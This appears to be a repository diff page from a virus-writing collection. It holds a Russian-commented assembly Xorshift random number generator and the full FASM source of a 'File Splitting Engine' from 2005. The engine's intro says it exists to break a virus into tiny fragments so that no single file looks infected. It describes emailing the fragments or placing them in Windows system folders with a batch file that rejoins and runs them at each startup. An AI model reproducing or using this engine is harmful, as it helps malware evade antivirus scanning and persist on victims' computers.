; ГЕНЕРАТОР СЛУЧАЙНОГО ЧИСЛА V. 0.42 (x) 2005 СЛОН ;
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
; Интервал: [0..eax-1] ;
|
||||
;------------------------------------------------------------------------------;
|
||||
; Используется алгоритм ГПСЧ Джорджа Марсаглии - "Xorshift - 128" ;
|
||||
; Данный алгоритм прошел тест DIEHARD его период 2^128-1 ;
|
||||
;------------------------------------------------------------------------------;
|
||||
; Использование: call r_init ;
|
||||
; mov eax,ГРАНИЦА ИНТЕРВАЛА ;
|
||||
; call brandom32 ;
|
||||
;------------------------------------------------------------------------------;
|
||||
; Результат: число в интервале [0..ГРАНИЦА ИНТЕРВАЛА] ;
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
|
||||
;----[Подпрограмма инициализации генератора случайных чисел]-------------------;
|
||||
|
||||
r_init:
|
||||
push ebp eax edx ; Сохраняем в стэке ebp,eax,edx
|
||||
|
||||
call __delta1_ ;
|
||||
__delta1_: pop ebp ; Получение дельта смещения
|
||||
sub ebp,offset __delta1_ ;
|
||||
|
||||
db 0fh,031h ; Получаем случайное зерно
|
||||
mov [ebp+x],eax ;
|
||||
|
||||
pop edx eax ebp ; Восстанавливаем edx,eax,ebp
|
||||
|
||||
ret ; Возврат из подпрограммы
|
||||
|
||||
;----[Подпрограмма генерации случаного чмсла в диапазоне]----------------------;
|
||||
|
||||
brandom32: ; Эта подпрограмма
|
||||
; возвращает случайное число
|
||||
; в диапазоне 0..eax-1
|
||||
|
||||
push edx ecx ebp ; Сохраняем в стэке edx,ecx,ebp
|
||||
|
||||
call __delta2_ ;
|
||||
__delta2_: pop ebp ; Получение дельта смещения
|
||||
sub ebp,offset __delta2_ ;
|
||||
|
||||
imul eax,eax,100 ; Умножаем eax на 100
|
||||
push eax ; и сохраняем eax в стэке
|
||||
|
||||
call random32 ; Вызываем подпрограмму
|
||||
; генерации случайного числа
|
||||
xor edx,edx ; Обнуляем edx
|
||||
pop ecx ; Восстанавливаем значение
|
||||
; из стэка в ecx
|
||||
div ecx ; Делим eax на ecx
|
||||
xchg eax,edx ; Помещаем остаток в eax
|
||||
xor edx,edx ; Обнуляем edx
|
||||
push 100 ; Помещаем в ecx - 100
|
||||
pop ecx ;
|
||||
div ecx ; Делим eax на ecx
|
||||
pop ebp ecx edx ; Восстанавливаем ebp,ecx,edx,
|
||||
ret ; Возврат из подпрограммы
|
||||
|
||||
;----[Подпрограмма генерации случайного числа]---------------------------------;
|
||||
|
||||
random32:
|
||||
push ebx edx ecx ;
|
||||
push ebp ; Сохраняем регистры в стэке
|
||||
|
||||
call __delta3_ ;
|
||||
__delta3_: pop ebp ; Получение дельта смещения
|
||||
sub ebp,offset __delta3_ ;
|
||||
|
||||
mov eax,12345678 ;
|
||||
x = dword ptr $-4 ;
|
||||
shl eax,0bh ; Выполняем математические
|
||||
xor eax,[ebp+x] ; преобразования по нужному нам
|
||||
mov edx,362436069 ; алгоритму данная часть
|
||||
y = dword ptr $-4 ; выглядела бы на С так:
|
||||
mov [ebp+x],edx ; unsigned long x=123456789,
|
||||
mov ecx,521288629 ; y=362436069,
|
||||
z = dword ptr $-4 ; z=521288629,
|
||||
mov [ebp+y],ecx ; w=88675123;
|
||||
mov ebx,88675123 ; t=(x^(x<<11));x=y;y=z;z=w;
|
||||
w = dword ptr $-4 ; Где t в нашем случае eax
|
||||
mov [ebp+z],ebx ;
|
||||
mov edx,[ebp+w] ; Далее идут следующие
|
||||
shr edx,13h ; вычисления, которые дают СЧ
|
||||
xor edx,[ebp+w] ; (w=(w^(w>>19))^(t^(t>>8)));
|
||||
xor edx,eax ;
|
||||
shr eax,08h ;
|
||||
xor edx,eax ;
|
||||
mov [ebp+w],edx ;
|
||||
mov eax,edx ;
|
||||
|
||||
pop ebp ;
|
||||
pop ecx edx ebx ; Вынимаем регистры из стэка
|
||||
|
||||
retn ; Возврат из подпрограммы
|
||||
Binary file not shown.
@@ -0,0 +1,302 @@
|
||||
File Splitting Engine
|
||||
by Second Part To Hell
|
||||
www.spth.de.vu
|
||||
spth@priest.com
|
||||
written in May-June 2005
|
||||
in Austria
|
||||
|
||||
This is just a small engine, but I'm sure it could be very useful.
|
||||
What does the engine do? It splitts the current file into 3-10 byte
|
||||
parts and creates a joining file (called start.bat).
|
||||
|
||||
To understand it's purpose, you should read my article called
|
||||
"Over-File Splitting".
|
||||
|
||||
What could you do with the splitted files?
|
||||
- You could make an archive (via own routing, possible installed WinZIP/RAR
|
||||
or use the WinME+ preinstalled function [C:\WINDOWS\System32\zipfldr.dll,-10195]
|
||||
to compress files.) This file now could be send out via eMail.
|
||||
The advantage: No file is infected with an virus - but all together they are.
|
||||
|
||||
- You could save all files in a directory (Windir, system32, whatever), and
|
||||
call the joining file every startup. What may happen? Virus/Worm works at
|
||||
the computer, but no file is infected :)
|
||||
|
||||
- You could think of your own way to use this technique. Lazy ass :)
|
||||
|
||||
|
||||
How to compile:
|
||||
- Delete this intro
|
||||
- Use flat assembler 1.56
|
||||
|
||||
Now: Much fun with it :)
|
||||
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; [File Splitting Engine] ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
include '..\FASM\INCLUDE\win32ax.inc'
|
||||
|
||||
.data
|
||||
c_file_name dd 0x0
|
||||
c_file_rnd_name: times 8 db 0x0
|
||||
db '.tmp',0
|
||||
c_file_handle dd 0x0
|
||||
c_file_size dd 0x0
|
||||
c_map_handle dd 0x0
|
||||
c_map_pointer dd 0x0
|
||||
|
||||
compain_name db 'start.bat',0
|
||||
compain_data dd 0x0
|
||||
compain_pointer dd 0x0
|
||||
compain_start db 'copy '
|
||||
compain_handle dd 0x0
|
||||
|
||||
split_handle dd 0x0
|
||||
split_counter db 0x0
|
||||
|
||||
rand_name_buffer: times 8 db 0x0
|
||||
rnd_file_name: times 8 db 0x0
|
||||
db '.tmp',0
|
||||
ZERO_field dd 0x0
|
||||
|
||||
systemtime_struct: ; for random number
|
||||
dw 0 ; wYear
|
||||
dw 0 ; wMonth
|
||||
dw 0 ; wDayOfWeek
|
||||
dw 0 ; wDay
|
||||
dw 0 ; wHour
|
||||
dw 0 ; wMinute
|
||||
dw 0 ; wSecond
|
||||
rnd: dw 0 ; wMilliseconds
|
||||
|
||||
.code
|
||||
start:
|
||||
invoke GetCommandLine
|
||||
inc eax ; Delete first "
|
||||
|
||||
mov ebx, eax ; Save eax
|
||||
|
||||
get_my_name:
|
||||
inc ebx ; Get next letter
|
||||
cmp byte [ebx], '.' ; Compare with '.'
|
||||
jne get_my_name
|
||||
|
||||
mov byte [ebx+4], 0x0 ; Delete the second "
|
||||
mov [c_file_name], eax ; Save the pointer
|
||||
|
||||
invoke DeleteFile, compain_name ; Delete the old compainer-file the file
|
||||
|
||||
mov ebp, 0xAAAAAAAA ; Influences the random engine
|
||||
call random_name ; random name in rnd_file_name
|
||||
|
||||
mov esi, rnd_file_name ; From: random-name buffer
|
||||
mov edi, c_file_rnd_name ; To: Buffer for this copy of the file
|
||||
mov ecx, 8 ; How much: 8 letters
|
||||
rep movsb ; Copy string
|
||||
|
||||
invoke CopyFile, [c_file_name], c_file_rnd_name, FALSE ; Copies the current file to a .tmp
|
||||
|
||||
invoke CreateFile, c_file_rnd_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0x0 ; Open own file
|
||||
mov [c_file_handle], eax ; Save the file handle
|
||||
|
||||
invoke GetFileSize, [c_file_handle], c_file_size ; Get the size of the file
|
||||
mov [c_file_size], eax ; Low Filesize returned in eax
|
||||
|
||||
invoke CreateFileMapping, [c_file_handle], 0x0, PAGE_READWRITE, 0x0, [c_file_size], 0x0 ; Create a Map
|
||||
mov [c_map_handle], eax ; Save the Map handle
|
||||
|
||||
invoke MapViewOfFile, [c_map_handle], FILE_MAP_WRITE, 0x0, 0x0, [c_file_size] ; Map view of file
|
||||
mov [c_map_pointer], eax ; Save the pointer of file
|
||||
|
||||
invoke VirtualAlloc, 0x0, 0x120000, 0x1000, 0x4 ; Reserve Space in Memory
|
||||
mov [compain_data], eax ; Save the pointer to it.
|
||||
mov [compain_pointer], eax ; Save again
|
||||
|
||||
mov esi, compain_start ; What to write
|
||||
mov edi, [compain_pointer] ; Where to write
|
||||
mov ecx, 5 ; How much to write
|
||||
rep movsb ; Write!
|
||||
|
||||
add [compain_pointer], 5 ; Get next empty byte to write
|
||||
|
||||
main_loop:
|
||||
mov ebp, 0xAAAAAAAA ; Influences the random engine
|
||||
call random_name ; random name in rnd_file_name
|
||||
|
||||
invoke CreateFile, rnd_file_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0x0
|
||||
cmp eax, INVALID_HANDLE_VALUE ; If file already existed
|
||||
je main_loop ; then get a new file-name
|
||||
|
||||
mov [split_handle], eax ; Save the file-handle
|
||||
|
||||
call random_number ; Get random number
|
||||
xor eax, eax ; eax=0
|
||||
mov al, [rand_name_buffer] ; al~=random
|
||||
and al, 7 ; al= 0000 0???
|
||||
add al, 3 ; At least three byte
|
||||
mov [split_counter], al ; Save that bytes
|
||||
|
||||
sub [c_file_size], eax ; Decrease the bytes to write
|
||||
|
||||
invoke WriteFile, [split_handle], [c_map_pointer], eax, ZERO_field, 0x0 ; Write (1..8) byte
|
||||
invoke CloseHandle, [split_handle] ; Close the file
|
||||
|
||||
xor eax, eax
|
||||
mov al, [split_counter] ; How many bytes written
|
||||
add [c_map_pointer], eax ; Add the pointer - write the next few bytes next time
|
||||
|
||||
mov esi, rnd_file_name ; From: Filename-buffer
|
||||
mov edi, [compain_pointer] ; To: compainer-pointer
|
||||
mov ecx, 12 ; 8+strlen('.tmp')
|
||||
rep movsb ; Write!
|
||||
|
||||
add [compain_pointer], 12 ; Add 12 to pointer
|
||||
|
||||
mov eax, [compain_pointer] ; Pointer to eax
|
||||
|
||||
mov byte [eax], '+' ; Move '+' to the code's memory
|
||||
inc [compain_pointer] ; Increase the pointer
|
||||
|
||||
cmp [c_file_size], 0 ; Compare if more bytes to write
|
||||
jg main_loop ; If yes, jmp to main_loop
|
||||
|
||||
invoke UnmapViewOfFile, [c_map_pointer] ; Unmap View of File
|
||||
invoke CloseHandle, [c_map_handle] ; Close Map
|
||||
invoke CloseHandle, [c_file_handle] ; Close File
|
||||
|
||||
invoke DeleteFile, c_file_rnd_name ; Delete the temporary copy of the current file
|
||||
|
||||
invoke CreateFile, compain_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0x0
|
||||
mov [compain_handle], eax
|
||||
|
||||
|
||||
mov eax, [compain_pointer] ; eax=pointer
|
||||
dec eax ; Delete the last '+'
|
||||
mov byte [eax], 0x20 ; Add a space
|
||||
inc [compain_pointer] ; Increase pointer again
|
||||
|
||||
mov ebp, 0xAAAAAAAA ; Influences the random engine
|
||||
call random_name ; random name in rnd_file_name
|
||||
|
||||
mov eax, rnd_file_name ; RND-pointer in eax
|
||||
add eax, 8 ; add 8 to pointer (='.' of filename)
|
||||
mov dword [eax], '.exe' ; instate of '.tmp', '.exe'
|
||||
|
||||
dec [compain_pointer]
|
||||
mov esi, rnd_file_name ; From: rnd_file_name
|
||||
mov edi, [compain_pointer] ; To: compainter_pointer
|
||||
mov ecx, 12 ; How much: 12 bytes
|
||||
rep movsb ; Write
|
||||
|
||||
add [compain_pointer], 12 ; Add 12, to get the end again
|
||||
mov eax, [compain_pointer] ; eax=pointer to content
|
||||
mov word [eax], 0x0A0D ; Next Line
|
||||
add [compain_pointer], 2
|
||||
|
||||
mov esi, rnd_file_name ; From: rnd_file_name
|
||||
mov edi, [compain_pointer] ; To: compainter_pointer
|
||||
mov ecx, 12 ; How much: 12 bytes
|
||||
rep movsb ; Write
|
||||
|
||||
add [compain_pointer], 12 ; Add 12, to get the end again
|
||||
|
||||
|
||||
mov eax, [compain_data]
|
||||
sub [compain_pointer], eax
|
||||
|
||||
invoke WriteFile, [compain_handle], [compain_data], [compain_pointer], ZERO_field, 0x0 ; Write the file
|
||||
|
||||
invoke CloseHandle, [compain_handle]
|
||||
|
||||
invoke ExitProcess, 0x0
|
||||
|
||||
random_number:
|
||||
pop edi ; Get value of stack
|
||||
push edi ; Back to the stack
|
||||
mov ecx, 8 ; ecx=counter
|
||||
mov dh, 0xAA ; dh: changes in the function and makes the number little bit more random
|
||||
mov dl, 0x87 ; same as dh
|
||||
random_name_loop:
|
||||
push dx ; Save dx at stack
|
||||
push ecx ; Save counter at stack
|
||||
call random_byte ; Random number in al
|
||||
pop ecx ; get counter
|
||||
xor al, cl ; Counter influences pseudo random number
|
||||
pop dx ; Get dx
|
||||
push ecx
|
||||
xor dx, cx ; Counter influences influncing number
|
||||
add dh, al ; Random number influences influencing number
|
||||
sub dl, al ; Same as dh
|
||||
neg dl ; Neg dl
|
||||
xor dl, dh ; dl XOR dh -> more variability
|
||||
xor al, dl ; random number changes
|
||||
sub ax, di ; value of stack influences random number
|
||||
add ax, dx ; ax+dx
|
||||
mov dl, [rand_name_buffer+ecx-2]
|
||||
mov dh, [rand_name_buffer+ecx-3] ; dx=???? ???? ????? ?????
|
||||
sub al, dl ; al-=dl
|
||||
add al, dh ; al+=dh
|
||||
mov ah, dl ; ah=dl
|
||||
push ax ; AX to stack
|
||||
mov cl, 1 ; cl=1
|
||||
or dh, cl ; dh is at least 1 (to reduce chance of result=zero)
|
||||
mul dh ; AL=AX*DH
|
||||
pop cx ; CX=old AX
|
||||
push cx ; To stack again
|
||||
add cl, al ; CL+=AL
|
||||
sub cl, ah ; CL-=AH
|
||||
xchg al, cl ; AL=CL
|
||||
mov cx, bp ; cx=bp
|
||||
mul cl ; AX=AL*CL
|
||||
neg ah ; NEG AH
|
||||
xor al, ah ; xor AL and AH
|
||||
pop cx ; get old AX
|
||||
sub cl, al ; SUB
|
||||
add cl, dl ; cl+=old random number
|
||||
sub al, cl ; al ~=random :)
|
||||
pop ecx ; Get counter
|
||||
mov [rand_name_buffer+ecx-1], al ; Save random letter
|
||||
loop random_name_loop
|
||||
ret
|
||||
|
||||
|
||||
|
||||
random_name:
|
||||
call random_number ; Get 8 random bytes
|
||||
mov ecx, 8 ; counter=8, as we want to do it 8 times
|
||||
|
||||
changetoletter:
|
||||
mov al, [rand_name_buffer+ecx-1] ; Get a letter
|
||||
mov bl, 10 ; BL=10
|
||||
xor ah, ah ; AX: 0000 0000 ???? ????
|
||||
div bl ; AL=rnd/10=number between 0 and 25
|
||||
add al, 97 ; Add 97 for getting lowercase letters
|
||||
mov [rnd_file_name+ecx-1], al ; Save random letter
|
||||
loop changetoletter
|
||||
ret
|
||||
|
||||
random_byte:
|
||||
invoke GetSystemTime, systemtime_struct ; Get first number
|
||||
mov ebx, [rnd-2] ; ebx=number
|
||||
add ebx, edx ; Making it pseudo-independent of time
|
||||
sub ebx, ecx
|
||||
xor ebx, eax
|
||||
xchg bl, bh
|
||||
pop ecx
|
||||
push ecx
|
||||
neg ebx
|
||||
xor ebx, ecx ; ebx=pseudo-indepentend number
|
||||
|
||||
invoke GetTickCount ; Get second number
|
||||
xor eax, ecx ; eax=number
|
||||
neg ax ; Making it pseudo-independent of time
|
||||
xor eax, edx
|
||||
xor ah, al
|
||||
sub eax, ebp
|
||||
add eax, esi ; eax=pseudo-indepentend number
|
||||
|
||||
xor eax, ebx ; Compain the numbers -> eax
|
||||
mov ebx, eax ; Save eax
|
||||
shr eax, 8 ; e-part -> ax
|
||||
xor ax, bx
|
||||
xor al, ah ; al=number
|
||||
ret
|
||||
.end start
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Reference in New Issue
Block a user